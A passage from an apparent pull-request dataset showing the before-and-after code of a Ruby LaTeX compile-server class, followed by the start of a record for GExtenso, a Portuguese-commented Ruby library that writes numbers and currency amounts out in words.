@makeindex_ran = true\n    end\n\n    if File.exist?(File.join(compile_directory, 'output.toc'))\n      # We have a table of contents that needs to be included\n      run_latex_again = true\n    end\n    \n    if log_complains_about_references? or run_latex_again\n      run_compiler\n    end\n    \n    if log_complains_about_references?\n      run_compiler\n    end\n\n    if log_complains_about_references?\n      run_compiler\n    end\n  end\n\n  def log_complains_about_references?\n    log_content = read_log\n    log_content.include?('There were undefined references') ||\n    log_content.include?('There were undefined citations') ||\n    log_content.include?('LaTeX Warning: Label(s) may have changed. Rerun to get cross-references right.') ||\n    log_content.include?('LaTeX Warning: Citation') || # Natbib\n    log_content.include?('No file output.toc') ||\n    log_content.include?('Rerun LaTeX') # The longtables package\n  end\n  \n  def run_bibtex\n    bibtex_command = ['env', tex_env_variables, BIBTEX_COMMAND, \"#{compile_directory_rel_to_chroot}/output\"].flatten\n    run_with_timeout(bibtex_command, BIBTEX_TIMEOUT)\n  end\n  \n  def run_makeindex\n    makeindex_command = [\n      MAKEINDEX_COMMAND,\n      '-o', \"#{compile_directory_rel_to_chroot}/output.ind\",\n      \"#{compile_directory_rel_to_chroot}/output.idx\"\n    ]\n    run_with_timeout(makeindex_command, COMPILE_TIMEOUT)\n  end\n  \n  def run_compiler\n    run_with_timeout(compile_command, COMPILE_TIMEOUT)\n  end\n  \n  def read_aux_files\n    aux_file_paths = Dir.entries(self.compile_directory).reject{|e| not e.match(/\\.aux$/)}\n    aux_file_paths.collect!{|p| File.join(self.compile_directory, p)}\n    return aux_file_paths.collect{|p| File.read(p)}.join(\"\\n\")\n  end\n  \n  def modify_aux_files\n    aux_file_names = Dir.entries(self.compile_directory).reject{|e| not e.match(/\\.aux$/)}\n    aux_file_paths = aux_file_names.collect{|n| File.join(self.compile_directory, n)}\n    for aux_file in aux_file_paths\n      content = File.read(aux_file)\n      content.gsub!(/^\\\\@input\\{(.*)\\}$/, \"\\\\@input{#{compile_directory_rel_to_chroot}/\\\\1}\")\n      File.open(aux_file, 'w') {|f|\n        f.write(content)\n      }\n    end\n  end\n  \n  def read_log\n    log_file_path = File.join(self.compile_directory, 'output.log')\n    return '' unless File.exist?(log_file_path)\n    File.read(log_file_path)\n  end\n  \n  def convert_to_output_format\n    case self.compiler\n    when 'pdflatex'\n      input_format = 'pdf'\n    when 'latex'\n      input_format = 'dvi'\n    when 'xelatex'\n      input_format = 'pdf'\n    end\n    ensure_output_files_exist(input_format)\n    conversion_method = \"convert_#{input_format}_to_#{self.output_format}\"\n    if self.respond_to?(conversion_method, true)\n      self.send(conversion_method)\n    else\n      raise CLSI::ImpossibleFormatConversion, \"can't convert #{input_format} to #{self.output_format}\"\n    end\n  end\n\n  def move_compiled_files_to_public_dir\n    FileUtils.mkdir_p(File.join(SERVER_PUBLIC_DIR, 'output', self.unique_id))\n    \n    for existing_file in find_output_files_of_type(self.output_format)\n      existing_path = File.join(compile_directory, existing_file)\n      relative_output_path = File.join(relative_output_dir, existing_file)\n      output_path = File.join(SERVER_PUBLIC_DIR, relative_output_path)\n      FileUtils.mv(existing_path, output_path)\n      @output_files << OutputFile.new(:path => relative_output_path)\n    end\n  end\n  \n  def move_log_files_to_public_dir\n    FileUtils.mkdir_p(output_dir)\n    \n    existing_log_path = File.join(compile_directory, 'output.log')\n    relative_output_log_path = File.join(relative_output_dir, 'output.log')\n    if File.exist?(existing_log_path)\n      FileUtils.mv(existing_log_path, File.join(SERVER_PUBLIC_DIR, relative_output_log_path))\n      @log_files << OutputFile.new(:path => relative_output_log_path)\n    end\n  end\n  \n  def remove_compile_directory\n    FileUtils.rm_rf(self.compile_directory)\n  end\n  \n  def write_response_to_public_dir\n    FileUtils.mkdir_p(output_dir)\n    File.open(File.join(output_dir, 'response.xml'), 'w') do |f|\n      f.write(self.to_xml)\n    end\n    File.open(File.join(output_dir, 'response.json'), 'w') do |f|\n      f.write(self.to_json)\n    end\n  end\n  \n  def record_in_compile_log\n    CompileLog.create(\n      :user => user,\n      :time_taken => ((Time.now.to_f - @start_time.to_f) * 1000).to_i, # Time in milliseconds\n      :bibtex_ran => @bibtex_ran,\n      :makeindex_ran => @makeindex_ran\n    )\n  end\n  \n  def tex_env_variables\n    root_and_relative_directories = [\n      File.join(compile_directory_rel_to_chroot, File.dirname(self.root_resource_path)),\n      compile_directory_rel_to_chroot\n    ].join(\":\") + \":\"\n    return [\n      \"TEXMFOUTPUT=#{compile_directory_rel_to_chroot}\",\n      \"TEXINPUTS=#{root_and_relative_directories}\",\n      \"BIBINPUTS=#{root_and_relative_directories}\",\n      \"BSTINPUTS=#{root_and_relative_directories}\",\n      \"TEXFONTS=#{root_and_relative_directories}\",\n      \"TFMFONTS=#{root_and_relative_directories}\"\n    ]\n  end\n  \n  def output_dir\n    File.join(SERVER_PUBLIC_DIR, relative_output_dir)\n  end\n  \n  def relative_output_dir\n    File.join('output', self.unique_id)\n  end\n  \n  def compile_directory_rel_to_chroot\n    @compile_directory_rel_to_chroot ||= File.join(LATEX_COMPILE_DIR_RELATIVE_TO_CHROOT, self.unique_id)\n  end\n  \n  def compile_command\n    case self.compiler\n    when 'pdflatex'\n      command = PDFLATEX_COMMAND\n    when 'latex'\n      command = LATEX_COMMAND\n    when 'xelatex'\n      command = XELATEX_COMMAND\n    else\n      raise NotImplemented # Previous checking means we should never get here!\n    end\n    return [\"env\"] + tex_env_variables + [command, \"-interaction=batchmode\",\n            \"-output-directory=#{compile_directory_rel_to_chroot}\", \"-no-shell-escape\", \n            \"-jobname=output\", self.root_resource_path]\n  end\n  \n  # Returns a list of output files of the given type. Will raise a CLSI::NoOutputFile if no output\n  # files of the given type exist.\n  def find_output_files_of_type(type)\n    file_name = \"output.#{type}\"\n    output_path = File.join(compile_directory, file_name)\n    raise CLSI::NoOutputProduced, 'no compiled documents were produced' unless File.exist?(output_path)\n    return [file_name]\n  end\n  \n  def ensure_output_files_exist(type)\n    find_output_files_of_type(type)\n  end\n    \n  def convert_pdf_to_pdf\n    # Nothing to do!\n  end\n  \n  def convert_dvi_to_dvi\n    # Nothing to do!    \n  end\n  \n  def convert_dvi_to_pdf\n    input = File.join(compile_directory_rel_to_chroot, 'output.dvi')\n    output = File.join(compile_directory_rel_to_chroot, 'output.pdf')\n\n    # Note: Adding &> /dev/null to this command makes run_with_timeout return straight away before\n    # command is complete, and I have no idea why. Solution: Don't add it.\n    dvipdf_command = \"env TEXPICTS=#{compile_directory_rel_to_chroot} #{DVIPDF_COMMAND} \\\"#{input}\\\" \\\"#{output}\\\"\"\n    run_with_timeout(dvipdf_command, DVIPDF_TIMEOUT)\n  end\n  \n  def convert_dvi_to_ps\n    input = File.join(compile_directory_rel_to_chroot, 'output.dvi')\n    output = File.join(compile_directory_rel_to_chroot, 'output.ps')\n    dvips_command = \"env TEXPICTS=#{compile_directory_rel_to_chroot} #{DVIPS_COMMAND} -o \\\"#{output}\\\" \\\"#{input}\\\"\"\n    run_with_timeout(dvips_command, DVIPS_TIMEOUT)\n  end\n  \n  # Everything below here is copied from the mathwiki code. It was ugly when\n  # I first wrote it and it hasn't improved with time. \n  # Fixing it would be good.\n  def run_with_timeout(command, timeout = 10)\n    start_time = Time.now\n    pid = fork {\n      exec(*command)\n    }\n    while Time.now - start_time < timeout\n      if Process.waitpid(pid, Process::WNOHANG)\n        Rails.logger.info \"(#{Time.now - start_time} seconds) #{command.to_a.join(' ')}\"\n        return pid\n      end\n      sleep 0.1 if (Time.now - start_time > 0.3) # No need to check too often if it's taking a while\n    end\n    \n    # Process never finished\n    kill_process(pid)\n    raise CLSI::Timeout, \"the compile took too long to run and was aborted\"\n  end\n  \n  def kill_process(pid)\n    child_pids = %x[ps -e -o 'ppid pid' | awk '$1 == #{pid} { print $2 }'].split\n    child_pids.collect{|cpid| kill_process(cpid.to_i)}\n    Process.kill('INT', pid)\n    Process.kill('HUP', pid)\n    Process.kill('KILL', pid)\n  end\nend\n"}, "files_after": {"app/models/compile.rb": "class Compile\n  attr_accessor :token, :user,\n                :root_resource_path, :resources, \n                :compiler, :output_format\n  attr_reader   :output_files, :log_files, :unique_id,\n                :status, :error_type, :error_message,\n                :bibtex_ran, :makeindex_ran\n\n  POSSIBLE_COMPILER_OUTPUT_FORMATS = {\n    :pdflatex => ['pdf'],\n    :latex    => ['dvi', 'pdf', 'ps'],\n    :xelatex  => ['pdf']\n  }\n\n  def compiler\n    @compiler ||= 'pdflatex'\n  end\n\n  def output_format\n    @output_format ||= 'pdf'\n  end\n\n  def initialize(attributes = {})\n    self.root_resource_path = attributes[:root_resource_path] || \"main.tex\"\n    self.token = attributes[:token]\n    \n    self.compiler = attributes[:compiler]\n    self.output_format = attributes[:output_format]\n\n    self.resources = []\n    for resource in attributes[:resources].to_a\n      self.resources << Resource.new(\n        resource[:path],\n        resource[:modified_date],\n        resource[:content],\n        resource[:url],\n        self\n      )\n    end\n    \n    @output_files = []\n    @log_files = []\n    @status = :unprocessed\n    @bibtex_ran = false\n    @makeindex_ran = false\n  end\n\n  def compile\n    @start_time = Time.now\n    validate_compile\n    write_resources_to_disk\n    do_compile\n    convert_to_output_format\n    move_compiled_files_to_public_dir\n    @status = :success\n  rescue CLSI::CompileError => e\n    @status = :failure\n    @error_type = e.class.name.demodulize\n    @error_message = e.message\n  ensure\n    move_log_files_to_public_dir\n    write_response_to_public_dir\n    remove_compile_directory unless PRESERVE_COMPILE_DIRECTORIES\n    record_in_compile_log\n  end\n\n  def validate_compile\n    if self.user.blank?\n      self.user = User.find_by_token(self.token)\n      raise CLSI::InvalidToken, 'user does not exist' if self.user.nil?\n    end\n    \n    unless POSSIBLE_COMPILER_OUTPUT_FORMATS.has_key?(self.compiler.to_sym)\n      raise CLSI::UnknownCompiler, \"#{self.compiler} is not a valid compiler\"\n    end\n    \n    unless POSSIBLE_COMPILER_OUTPUT_FORMATS[self.compiler.to_sym].include?(self.output_format)\n      raise CLSI::ImpossibleOutputFormat, \"#{self.compiler} cannot produce #{self.output_format} output\"\n    end\n  end\n  \n  def unique_id\n    @unique_id ||= generate_unique_string\n  end\n  \n  def compile_directory\n    @compile_directory ||= File.join(LATEX_COMPILE_DIR, self.unique_id)\n  end\n  \n  def to_xml\n    xml = Builder::XmlMarkup.new\n    xml.instruct!\n\n    xml.compile do\n      xml.compile_id(self.unique_id)\n      \n      if self.status == :failure\n        xml.status('failure')\n        xml.error do\n          xml.type self.error_type\n          xml.message self.error_message\n        end\n      else\n        xml.status(self.status.to_s)\n      end\n   \n      unless self.output_files.empty?\n        xml.output do\n          for file in self.output_files\n            xml.file(:url => file.url, :type => file.type, :mimetype => file.mimetype)\n          end\n        end\n      end\n  \n      unless self.log_files.empty?\n        xml.logs do\n          for file in self.log_files\n            xml.file(:url => file.url, :type => file.type, :mimetype => file.mimetype)\n          end\n        end\n      end\n    end\n  end\n  \n  def to_json\n    hash = {\n      'compile_id' => self.unique_id,\n      'status'     => self.status.to_s\n    }\n    \n    if self.status == :failure\n      hash['error'] = {\n        'type' => self.error_type,\n        'message' => self.error_message\n      }\n    end\n    \n    unless self.output_files.empty?\n      hash['output_files'] = self.output_files.collect{|of| {\n        'url'      => of.url,\n        'mimetype' => of.mimetype,\n        'type'     => of.type\n      }}\n    end\n    \n    unless self.log_files.empty?\n      hash['logs'] = self.log_files.collect{|lf| {\n        'url'      => lf.url,\n        'mimetype' => lf.mimetype,\n        'type'     => lf.type\n      }}\n    end\n    \n    return ({'compile' => hash}).to_json\n  end\n\nprivate\n\n  def write_resources_to_disk\n    File.umask(0002)\n    \n    for resource in self.resources.to_a\n      resource.write_to_disk\n    end\n  end\n\n  def do_compile\n    run_compiler\n    \n    aux_file_content = read_aux_files\n    if aux_file_content.include? '\\\\citation' or aux_file_content.include? '\\\\bibdata' or aux_file_content.include? '\\\\bibstyle'\n      modify_aux_files\n      run_bibtex\n      run_latex_again = true\n      @bibtex_ran = true\n    end\n    \n    if File.exist?(File.join(compile_directory, 'output.idx'))\n      run_makeindex\n      run_latex_again = true\n      @makeindex_ran = true\n    end\n\n    if File.exist?(File.join(compile_directory, 'output.toc'))\n      # We have a table of contents that needs to be included\n      run_latex_again = true\n    end\n    \n    if log_complains_about_references? or run_latex_again\n      run_compiler\n    end\n    \n    if log_complains_about_references?\n      run_compiler\n    end\n\n    if log_complains_about_references?\n      run_compiler\n    end\n  end\n\n  def log_complains_about_references?\n    log_content = read_log\n    log_content.include?('There were undefined references') ||\n    log_content.include?('There were undefined citations') ||\n    log_content.include?('LaTeX Warning: Label(s) may have changed. Rerun to get cross-references right.') ||\n    log_content.include?('LaTeX Warning: Citation') || # Natbib\n    log_content.include?('No file output.toc') ||\n    log_content.include?('Rerun LaTeX') # The longtables package\n  end\n  \n  def run_bibtex\n    bibtex_command = ['env', tex_env_variables, BIBTEX_COMMAND, \"#{compile_directory_rel_to_chroot}/output\"].flatten\n    run_with_timeout(bibtex_command, BIBTEX_TIMEOUT)\n  end\n  \n  def run_makeindex\n    makeindex_command = [\n      MAKEINDEX_COMMAND,\n      '-o', \"#{compile_directory_rel_to_chroot}/output.ind\",\n      \"#{compile_directory_rel_to_chroot}/output.idx\"\n    ]\n    run_with_timeout(makeindex_command, COMPILE_TIMEOUT)\n  end\n  \n  def run_compiler\n    run_with_timeout(compile_command, COMPILE_TIMEOUT)\n  end\n  \n  def read_aux_files\n    aux_file_paths = Dir.entries(self.compile_directory).reject{|e| not e.match(/\\.aux$/)}\n    aux_file_paths.collect!{|p| File.join(self.compile_directory, p)}\n    return aux_file_paths.collect{|p| File.read(p)}.join(\"\\n\")\n  end\n  \n  def modify_aux_files\n    aux_file_names = Dir.entries(self.compile_directory).reject{|e| not e.match(/\\.aux$/)}\n    aux_file_paths = aux_file_names.collect{|n| File.join(self.compile_directory, n)}\n    for aux_file in aux_file_paths\n      content = File.read(aux_file)\n      content.gsub!(/^\\\\@input\\{(.*)\\}$/, \"\\\\@input{#{compile_directory_rel_to_chroot}/\\\\1}\")\n      File.open(aux_file, 'w') {|f|\n        f.write(content)\n      }\n    end\n  end\n  \n  def read_log\n    log_file_path = File.join(self.compile_directory, 'output.log')\n    return '' unless File.exist?(log_file_path)\n    File.read(log_file_path)\n  end\n  \n  def convert_to_output_format\n    case self.compiler\n    when 'pdflatex'\n      input_format = 'pdf'\n    when 'latex'\n      input_format = 'dvi'\n    when 'xelatex'\n      input_format = 'pdf'\n    end\n    ensure_output_files_exist(input_format)\n    conversion_method = \"convert_#{input_format}_to_#{self.output_format}\"\n    if self.respond_to?(conversion_method, true)\n      self.send(conversion_method)\n    else\n      raise CLSI::ImpossibleFormatConversion, \"can't convert #{input_format} to #{self.output_format}\"\n    end\n  end\n\n  def move_compiled_files_to_public_dir\n    FileUtils.mkdir_p(File.join(SERVER_PUBLIC_DIR, 'output', self.unique_id))\n    \n    for existing_file in find_output_files_of_type(self.output_format)\n      existing_path = File.join(compile_directory, existing_file)\n      relative_output_path = File.join(relative_output_dir, existing_file)\n      output_path = File.join(SERVER_PUBLIC_DIR, relative_output_path)\n      FileUtils.mv(existing_path, output_path)\n      @output_files << OutputFile.new(:path => relative_output_path)\n    end\n  end\n  \n  def move_log_files_to_public_dir\n    FileUtils.mkdir_p(output_dir)\n    \n    existing_log_path = File.join(compile_directory, 'output.log')\n    relative_output_log_path = File.join(relative_output_dir, 'output.log')\n    if File.exist?(existing_log_path)\n      FileUtils.mv(existing_log_path, File.join(SERVER_PUBLIC_DIR, relative_output_log_path))\n      @log_files << OutputFile.new(:path => relative_output_log_path)\n    end\n  end\n  \n  def remove_compile_directory\n    FileUtils.rm_rf(self.compile_directory)\n  end\n  \n  def write_response_to_public_dir\n    FileUtils.mkdir_p(output_dir)\n    File.open(File.join(output_dir, 'response.xml'), 'w') do |f|\n      f.write(self.to_xml)\n    end\n    File.open(File.join(output_dir, 'response.json'), 'w') do |f|\n      f.write(self.to_json)\n    end\n  end\n  \n  def record_in_compile_log\n    CompileLog.create(\n      :user => user,\n      :time_taken => ((Time.now.to_f - @start_time.to_f) * 1000).to_i, # Time in milliseconds\n      :bibtex_ran => @bibtex_ran,\n      :makeindex_ran => @makeindex_ran\n    )\n  end\n  \n  def tex_env_variables\n    root_and_relative_directories = [\n      File.join(compile_directory_rel_to_chroot, File.dirname(self.root_resource_path)),\n      compile_directory_rel_to_chroot\n    ].join(\":\") + \":\"\n    return [\n      \"TEXMFOUTPUT=#{compile_directory_rel_to_chroot}\",\n      \"TEXINPUTS=#{root_and_relative_directories}\",\n      \"BIBINPUTS=#{root_and_relative_directories}\",\n      \"BSTINPUTS=#{root_and_relative_directories}\",\n      \"TEXFONTS=#{root_and_relative_directories}\",\n      \"TFMFONTS=#{root_and_relative_directories}\"\n    ]\n  end\n  \n  def output_dir\n    File.join(SERVER_PUBLIC_DIR, relative_output_dir)\n  end\n  \n  def relative_output_dir\n    File.join('output', self.unique_id)\n  end\n  \n  def compile_directory_rel_to_chroot\n    @compile_directory_rel_to_chroot ||= File.join(LATEX_COMPILE_DIR_RELATIVE_TO_CHROOT, self.unique_id)\n  end\n  \n  def compile_command\n    case self.compiler\n    when 'pdflatex'\n      command = PDFLATEX_COMMAND\n    when 'latex'\n      command = LATEX_COMMAND\n    when 'xelatex'\n      command = XELATEX_COMMAND\n    else\n      raise NotImplemented # Previous checking means we should never get here!\n    end\n    return [\"env\"] + tex_env_variables + [command, \"-interaction=batchmode\",\n            \"-output-directory=#{compile_directory_rel_to_chroot}\", \"-no-shell-escape\", \n            \"-jobname=output\", self.root_resource_path]\n  end\n  \n  # Returns a list of output files of the given type. Will raise a CLSI::NoOutputFile if no output\n  # files of the given type exist.\n  def find_output_files_of_type(type)\n    file_name = \"output.#{type}\"\n    output_path = File.join(compile_directory, file_name)\n    raise CLSI::NoOutputProduced, 'no compiled documents were produced' unless File.exist?(output_path)\n    return [file_name]\n  end\n  \n  def ensure_output_files_exist(type)\n    find_output_files_of_type(type)\n  end\n    \n  def convert_pdf_to_pdf\n    # Nothing to do!\n  end\n  \n  def convert_dvi_to_dvi\n    # Nothing to do!    \n  end\n  \n  def convert_dvi_to_pdf\n    input = File.join(compile_directory_rel_to_chroot, 'output.dvi')\n    output = File.join(compile_directory_rel_to_chroot, 'output.pdf')\n\n    # Note: Adding &> /dev/null to this command makes run_with_timeout return straight away before\n    # command is complete, and I have no idea why. Solution: Don't add it.\n    dvipdf_command = \"env TEXPICTS=#{compile_directory_rel_to_chroot} #{DVIPDF_COMMAND} -o \\\"#{output}\\\" \\\"#{input}\\\"\" \n    run_with_timeout(dvipdf_command, DVIPDF_TIMEOUT)\n  end\n  \n  def convert_dvi_to_ps\n    input = File.join(compile_directory_rel_to_chroot, 'output.dvi')\n    output = File.join(compile_directory_rel_to_chroot, 'output.ps')\n    dvips_command = \"env TEXPICTS=#{compile_directory_rel_to_chroot} #{DVIPS_COMMAND} -o \\\"#{output}\\\" \\\"#{input}\\\"\"\n    run_with_timeout(dvips_command, DVIPS_TIMEOUT)\n  end\n  \n  # Everything below here is copied from the mathwiki code. It was ugly when\n  # I first wrote it and it hasn't improved with time. \n  # Fixing it would be good.\n  def run_with_timeout(command, timeout = 10)\n    start_time = Time.now\n    pid = fork {\n      exec(*command)\n    }\n    while Time.now - start_time < timeout\n      if Process.waitpid(pid, Process::WNOHANG)\n        Rails.logger.info \"(#{Time.now - start_time} seconds) #{command.to_a.join(' ')}\"\n        return pid\n      end\n      sleep 0.1 if (Time.now - start_time > 0.3) # No need to check too often if it's taking a while\n    end\n    \n    # Process never finished\n    kill_process(pid)\n    raise CLSI::Timeout, \"the compile took too long to run and was aborted\"\n  end\n  \n  def kill_process(pid)\n    child_pids = %x[ps -e -o 'ppid pid' | awk '$1 == #{pid} { print $2 }'].split\n    child_pids.collect{|cpid| kill_process(cpid.to_i)}\n    Process.kill('INT', pid)\n    Process.kill('HUP', pid)\n    Process.kill('KILL', pid)\n  end\nend\n"}}
{"repo": "faustocintra/GExtenso", "pr_number": 3, "title": "Class to Module + upgrades", "state": "open", "merged_at": null, "additions": 211, "deletions": 27, "files_changed": ["GExtenso.rb"], "files_before": {"GExtenso.rb": "#!/usr/bin/env ruby\n\n##############################################################################################################\n# ATEN\u00c7\u00c3O: Este \u00e9 o meu primeiro trabalho na linguagem Ruby. A l\u00f3gica foi originalmente desenvolvida em PHP; #\n# portanto, o estilo do c\u00f3digo pode n\u00e3o agradar programadores Ruby experientes. Estou aberto a cr\u00edticas      #\n# construtivas e sugest\u00f5es, para melhorar meu conhecimento na linguagem.                                     #\n##############################################################################################################\n\n# GExtenso class file\n#\n# author Fausto Gon\u00e7alves Cintra (goncin) <goncin@gmail.com>\n# link http://goncin.wordpress.com\n# link http://twitter.com/g0nc1n\n# license http://creativecommons.org/licenses/LGPL/2.1/deed.pt\n#\n\n# GExtenso \u00e9 uma classe que gera a representa\u00e7\u00e3o por extenso de um n\u00famero ou valor monet\u00e1rio.\n#\n# ATEN\u00c7\u00c3O: A P\u00c1GINA DE C\u00d3DIGO DESTE ARQUIVO \u00c9 UTF-8 (Unicode)!\n# \n# Sua implementa\u00e7\u00e3o foi feita como prova de conceito, utilizando:\n# * M\u00e9todos est\u00e1ticos, implementando o padr\u00e3o de projeto (\"design pattern\") SINGLETON;\n# * Chamadas recursivas a m\u00e9todos, minimizando repeti\u00e7\u00f5es e mantendo o c\u00f3digo enxuto; e\n# * Tratamento de erros por interm\u00e9dio de exce\u00e7\u00f5es.\n#\n# = EXEMPLOS DE USO =\n#\n# Para obter o extenso de um n\u00famero, utilize GExtenso.numero.\n# \n# puts GExtenso.numero(832); # oitocentos e trinta e dois\n# puts GExtenso.numero(832, GExtenso::GENERO_FEM) # oitocentas e trinta e duas\n# \n#\n# Para obter o extenso de um valor monet\u00e1rio, utilize GExtenso.moeda.\n# \n# # IMPORTANTE: veja nota sobre o par\u00e2metro 'valor' na documenta\u00e7\u00e3o do m\u00e9todo!\n#\n# puts GExtenso.moeda(15402) # cento e cinquenta e quatro reais e dois centavos\n#\n# puts GExtenso.moeda(47)   # quarenta e sete centavos\n#\n# puts GExtenso.moeda(357082, 2,\n#   ['peseta', 'pesetas', GExtenso::GENERO_FEM],\n#   ['c\u00eantimo', 'c\u00eantimos', GExtenso::GENERO_MASC])\n#   # tr\u00eas mil, quinhentas e setenta pesetas e oitenta e dois c\u00eantimos\n#\n# author Fausto Gon\u00e7alves Cintra (goncin) <goncin@gmail.com>\n# version 0.1 2010-06-10\n \nclass GExtenso\n  \n  NUM_SING = 0\n  NUM_PLURAL = 1\n  POS_GENERO = 2\n  GENERO_MASC = 0\n  GENERO_FEM = 1\n  \n  VALOR_MAXIMO = 999999999\n  \n  # As unidades 1 e 2 variam em g\u00eanero, pelo que precisamos de dois conjuntos de strings (masculinas e femininas) para as unidades\n  UNIDADES = {\n    GENERO_MASC => {\n      1 => 'um',\n      2 => 'dois',\n      3 => 'tr\u00eas',\n      4 => 'quatro',\n      5 => 'cinco',\n      6 => 'seis',\n      7 => 'sete',\n      8 => 'oito',\n      9 => 'nove'\n    },\n    GENERO_FEM => {\n      1 => 'uma',\n      2 => 'duas',\n      3 => 'tr\u00eas',\n      4 => 'quatro',\n      5 => 'cinco',\n      6 => 'seis',\n      7 => 'sete',\n      8 => 'oito',\n      9 => 'nove'\n    }\n  }\n  \n  DE11A19 = {\n    11 => 'onze',\n    12 => 'doze',\n    13 => 'treze',\n    14 => 'quatorze',\n    15 => 'quinze',\n    16 => 'dezesseis',\n    17 => 'dezessete',\n    18 => 'dezoito',\n    19 => 'dezenove'\n  }\n  \n  DEZENAS = {\n    10 => 'dez',\n    20 => 'vinte',\n    30 => 'trinta',\n    40 => 'quarenta',\n    50 => 'cinquenta',\n    60 => 'sessenta',\n    70 => 'setenta',\n    80 => 'oitenta',\n    90 => 'noventa'\n  }\n  \n  CENTENA_EXATA = 'cem'\n  \n  # As centenas, com exce\u00e7\u00e3o de 'cento', tamb\u00e9m variam em g\u00eanero. Aqui tamb\u00e9m se faz\n  # necess\u00e1rio dois conjuntos de strings (masculinas e femininas).\n   \n  CENTENAS = {\n    GENERO_MASC => {\n      100 => 'cento',\n      200 => 'duzentos',\n      300 => 'trezentos',\n      400 => 'quatrocentos',\n      500 => 'quinhentos',\n      600 => 'seiscentos',\n      700 => 'setecentos',\n      800 => 'oitocentos',\n      900 => 'novecentos'\n    },\n    GENERO_FEM => {\n      100 => 'cento',\n      200 => 'duzentas',\n      300 => 'trezentas',\n      400 => 'quatrocentas',\n      500 => 'quinhentas',\n      600 => 'seiscentas',\n      700 => 'setecentas',\n      800 => 'oitocentas',\n      900 => 'novecentas'\n    }\n  }\n  \n  #'Mil' \u00e9 invari\u00e1vel, seja em g\u00eanero, seja em n\u00famero\n  MILHAR = 'mil'\n\n  MILHOES = {\n    NUM_SING => 'milh\u00e3o',\n    NUM_PLURAL => 'milh\u00f5es'\n  }\n\n   UNIDADES_ORDINAL = {\n    GENERO_MASC => {\n      1 => 'primeiro',\n      2 => 'segundo',\n      3 => 'terceiro',\n      4 => 'quarto',\n      5 => 'quinto',\n      6 => 'sexto',\n      7 => 's\u00e9timo',\n      8 => 'oitavo',\n      9 => 'nono'},\n    GENERO_FEM => {\n      1 => 'primeira',\n      2 => 'segunda',\n      3 => 'terceira',\n      4 => 'quarta',\n      5 => 'quinta',\n      6 => 'sexta',\n      7 => 's\u00e9tima',\n      8 => 'oitava',\n      9 => 'nona'}}\n\n  DEZENAS_ORDINAL = {\n    GENERO_MASC => {\n      10 => 'd\u00e9cimo',\n      20 => 'vig\u00e9simo',\n      30 => 'trig\u00e9simo',\n      40 => 'quadrag\u00e9simo',\n      50 => 'quinquag\u00e9simo',\n      60 => 'sexag\u00e9simo',\n      70 => 'septuag\u00e9simo',\n      80 => 'octog\u00e9simo',\n      90 => 'nonag\u00e9simo'},\n    GENERO_FEM => {\n      10 => 'd\u00e9cima',\n      20 => 'vig\u00e9sima',\n      30 => 'trig\u00e9sima',\n      40 => 'quadrag\u00e9sima',\n      50 => 'quinquag\u00e9sima',\n      60 => 'sexag\u00e9sima',\n      70 => 'septuag\u00e9sima',\n      80 => 'octog\u00e9sima',\n      90 => 'nonag\u00e9sima'}}\n   \n  CENTENAS_ORDINAL = {\n    GENERO_MASC => {\n      100 => 'cent\u00e9simo',\n      200 => 'ducent\u00e9simo',\n      300 => 'trecent\u00e9simo',\n      400 => 'quadringent\u00e9simo',\n      500 => 'quingent\u00e9simo',\n      600 => 'seiscent\u00e9simo',\n      700 => 'septingent\u00e9simo',\n      800 => 'octingent\u00e9simo',\n      900 => 'noningent\u00e9simo'},\n    GENERO_FEM => {\n      100 => 'cent\u00e9sima',\n      200 => 'ducent\u00e9sima',\n      300 => 'trecent\u00e9sima',\n      400 => 'quadringent\u00e9sima',\n      500 => 'quingent\u00e9sima',\n      600 => 'seiscent\u00e9sima',\n      700 => 'septingent\u00e9sima',\n      800 => 'octingent\u00e9sima',\n      900 => 'noningent\u00e9sima'}}\n    \n  \n    MILHAR_ORDINAL = {\n      GENERO_MASC => {\n        1000 => 'mil\u00e9simo'},\n      GENERO_FEM =>{\n        1000 => 'mil\u00e9sima'}}\n  \n  def self.is_int(s)\n    Integer(s) != nil rescue false\n  end\n  \n  #######################################################################################################################################\n  \n  def self.numero (valor, genero = GENERO_MASC)\n\n    # Gera a representa\u00e7\u00e3o por extenso de um n\u00famero inteiro, maior que zero e menor ou igual a VALOR_MAXIMO.\n    #\n    # PAR\u00c2METROS:\n    # valor (Integer) O valor num\u00e9rico cujo extenso se deseja gerar\n    #\n    # genero (Integer) [Opcional; valor padr\u00e3o: GExtenso::GENERO_MASC] O g\u00eanero gramatical (GExtenso::GENERO_MASC ou GExtenso::GENERO_FEM)\n    # do extenso a ser gerado. Isso possibilita distinguir, por exemplo, entre 'duzentos e dois homens' e 'duzentas e duas mulheres'.\n    #\n    # VALOR DE RETORNO:\n    # (String) O n\u00famero por extenso\n    \n    # ----- VALIDA\u00c7\u00c3O DOS PAR\u00c2METROS DE ENTRADA ---- \n    \n    if !is_int(valor)\n      raise \"[Exce\u00e7\u00e3o em GExtenso.numero] Par\u00e2metro 'valor' n\u00e3o \u00e9 num\u00e9rico (recebido: '#{valor}')\"\n    elsif valor <= 0\n      raise \"[Exce\u00e7\u00e3o em GExtenso.numero] Par\u00e2metro 'valor' igual a ou menor que zero (recebido: '#{valor}')\"\n    elsif valor > VALOR_MAXIMO\n      raise '[Exce\u00e7\u00e3o em GExtenso::numero] Par\u00e2metro ''valor'' deve ser um inteiro entre 1 e ' + VALOR_MAXIMO.to_s + \" (recebido: '#{valor}')\"\n    elsif genero != GENERO_MASC && genero != GENERO_FEM\n      raise \"Exce\u00e7\u00e3o em GExtenso: valor incorreto para o par\u00e2metro 'genero' (recebido: '#{genero}')\"\n\n  # ------------------------------------------------\n\n    elsif valor >= 1 && valor <= 9\n      UNIDADES[genero][valor]\n    \n    elsif valor == 10\n      DEZENAS[valor]\n\n    elsif valor >= 11 && valor <= 19\n      DE11A19[valor]\n    \n    elsif valor >= 20 && valor <= 99\n      dezena = valor - (valor % 10)\n      ret = DEZENAS[dezena]\n      # Chamada recursiva \u00e0 fun\u00e7\u00e3o para processar resto se este for maior que zero.\n      # O conectivo 'e' \u00e9 utilizado entre dezenas e unidades.\n      resto = valor - dezena\n      if resto > 0\n        ret += ' e ' + self.numero(resto, genero)\n      end\n      ret\n\n    elsif valor == 100 \n      CENTENA_EXATA\n\n    elsif valor >= 101 && valor <= 999\n      centena = valor - (valor % 100)\n      ret = CENTENAS[genero][centena] # As centenas (exceto 'cento') variam em g\u00eanero\n      # Chamada recursiva \u00e0 fun\u00e7\u00e3o para processar resto se este for maior que zero.\n      # O conectivo 'e' \u00e9 utilizado entre centenas e dezenas.\n      resto = valor - centena \n      if resto > 0\n        ret += 